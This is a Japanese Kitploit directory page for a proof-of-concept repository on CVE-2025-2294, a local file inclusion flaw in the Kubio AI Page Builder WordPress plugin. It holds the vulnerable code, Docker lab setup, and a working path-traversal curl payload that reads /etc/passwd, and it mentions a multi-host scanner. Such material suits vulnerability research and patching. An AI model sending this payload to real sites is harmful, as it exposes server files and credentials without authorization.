Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/iteride/cve-2025-2294
ウェブ脆弱性スキャナー脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubiteride/cve-2025-2294

CVE-2025-2294

CVE-2025-2294の概念実証エクスプロイト。WordPress用Kubio AI Page Builderにおける重大なLFI脆弱性です。Pythonスキャナー、nucleiテンプレート、およびテスト用Dockerラボを含みます。

リポジトリを見る
11ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-2294

はじめに

CVE-2025-2294 は、WordPress プラグイン Kubio AI Page Builder における Local File Inclusion (LFI) タイプの重大な脆弱性です。この脆弱性により、認証されていないリモートの攻撃者が特別に細工されたパラメータを送信すると、プラグインがサーバー上の任意のファイルをインクルードする可能性があります。インクルードされた PHP ファイルが存在する場合、リモートコード実行 (RCE) につながる可能性があります。

  • 影響を受けるバージョン: プラグインのすべてのバージョン ≤ 2.5.1。
  • CVSS v3.1: 9.8 (Critical)。

レポートの目的

  1. 入手可能な資料を整理し、脆弱性の本質を説明する。
  2. 脆弱性が有効となる条件と構成を検討する。
  3. 検出方法と防御の推奨事項を示す(ステップバイステップのPoCなし)。
  4. 修正と緩和策の推奨事項を提供する。

CPE / 識別

  • Plugin slug: kubio
  • Path: /wp-content/plugins/kubio/
  • Vendor: ExtendThemes / Kubio
  • CPE (例): cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*

CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal).


悪用条件

  • Kubio プラグインがサイトにインストールされ、有効化されている。
  • バージョン ≤ 2.5.1(パッチ未適用)。
  • パラメータ __kubio-site-edit-iframe-classic-template を受け入れるパブリック HTTP(S) エンドポイントが利用可能である。
  • (RCE を得るためには) システム内にインクルード可能な PHP ファイルまたは実行可能コードへのパスが存在する必要がある(例:他のコンポーネントの脆弱性や不適切な権限による)。

影響

  • 機密ファイルの読み取り(例:wp-config.php、秘密鍵、ログ)。
  • 任意のコードのアップロード/実行、コンテンツの改ざん、バックドアの埋め込みが可能。
  • サーバーの侵害、サイトの停止、データの削除/暗号化の可能性。
  • プラグインの広範な普及とパブリックな PoC/スキャナーの出現によりリスクの規模が拡大。

技術的詳細

脆弱なコードは、グローバル配列 $_REQUEST にアクセスする関数 kubio_hybrid_theme_load_template() に関連しています:

root@kitploit:~
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
    $new_template = locate_template([$template_id]);
    if ($new_template !== '') {
        return $new_template;
    }
}
  • コードの動作:
  1. Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — グローバル入力データセットから値を直接取得します($_REQUEST は $_GET、$_POST、$_COOKIE を結合します)。これはパラメータがリモートで制御可能であることを意味します。
  2. パラメータが存在する場合($template_id が真)、コードは locate_template([$template_id]) を呼び出します。
  3. locate_template() は、指定された相対パス/名前に基づいてテンプレートを検索する WordPress ユーティリティ(またはプラグイン内の同等の関数)です。通常のシナリオでは、安全なテンプレートディレクトリ内のファイル名(例:header.php、template-parts/content.php)が渡されることが期待されていました。
  4. 戻り値 ($new_template) が使用されます — 元の実装では、見つかったパスの include/require につながるか、そのパスが出力のためにさらに渡される可能性があります。これにより LFI の可能性が生じます:攻撃者は任意のファイルへのパスを指定できます。

ローカル実行

root@kitploit:~
git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
  • Docker にアクセス:
root@kitploit:~
docker exec -it <WORDPRESS_DOCKER_ID> bash
  • kubio をダウンロードして起動

解凍後、http://localhost:8080/wp-admin/plugins.php にアクセスしてプラグインを有効化してください

root@kitploit:~
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio

POC/Exploit

root@kitploit:~
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'

lfi

__kubio-site-edit-iframe-classic-template=<path>

このパラメータは、プラグインがテンプレートの識別子/パスとして使用する文字列を渡します。

脆弱なコードスニペットでは、値が $_REQUEST から取得され、正規化や制限なしに locate_template() に渡されます。その結果、ディレクトリトラバーサルが可能になります:値に ../ シーケンスを挿入すると、最終的なパスが期待されるテンプレートディレクトリの範囲外に移動し、ファイルシステム上の任意のファイル(/etc/passwd を含む)を指す可能性があります。

まさにこのパラメータが攻撃のペイロードを運びます — 攻撃者はこれを使用してターゲットファイルを指定します。

__kubio-site-edit-iframe-preview=1

これはサービスフラグ(プレビューモード / iframe-edit モード)です。リクエスト処理を、__kubio-site-edit-iframe-classic-template で指定されたテンプレートが読み取られ使用されるコードブランチに切り替えます。

preview=1 がない場合、プラグインは classic-template パラメータを処理しないか、別のロジックを使用する可能性があります。preview=1 がある場合、テンプレートの読み取りと返却を許可するロジックが有効になり、悪用が可能になります。


nuclei-template

1. パッシブテンプレート

  • /wp-content/plugins/kubio/readme.txt ファイルを介してプラグインバージョンを確認します。

passive

2. アクティブテンプレート

  • /etc/passwd の出力を確認します

active


スクリプト

スクリプトは /etc/passwd の出力を確認しますが、マルチスレッドにより nuclei よりもはるかに高速で、複数ホストの同時スキャンをサポートします。

root@kitploit:~
python3 scan.py --target http://localhost:8080

scan

ツールをダウンロード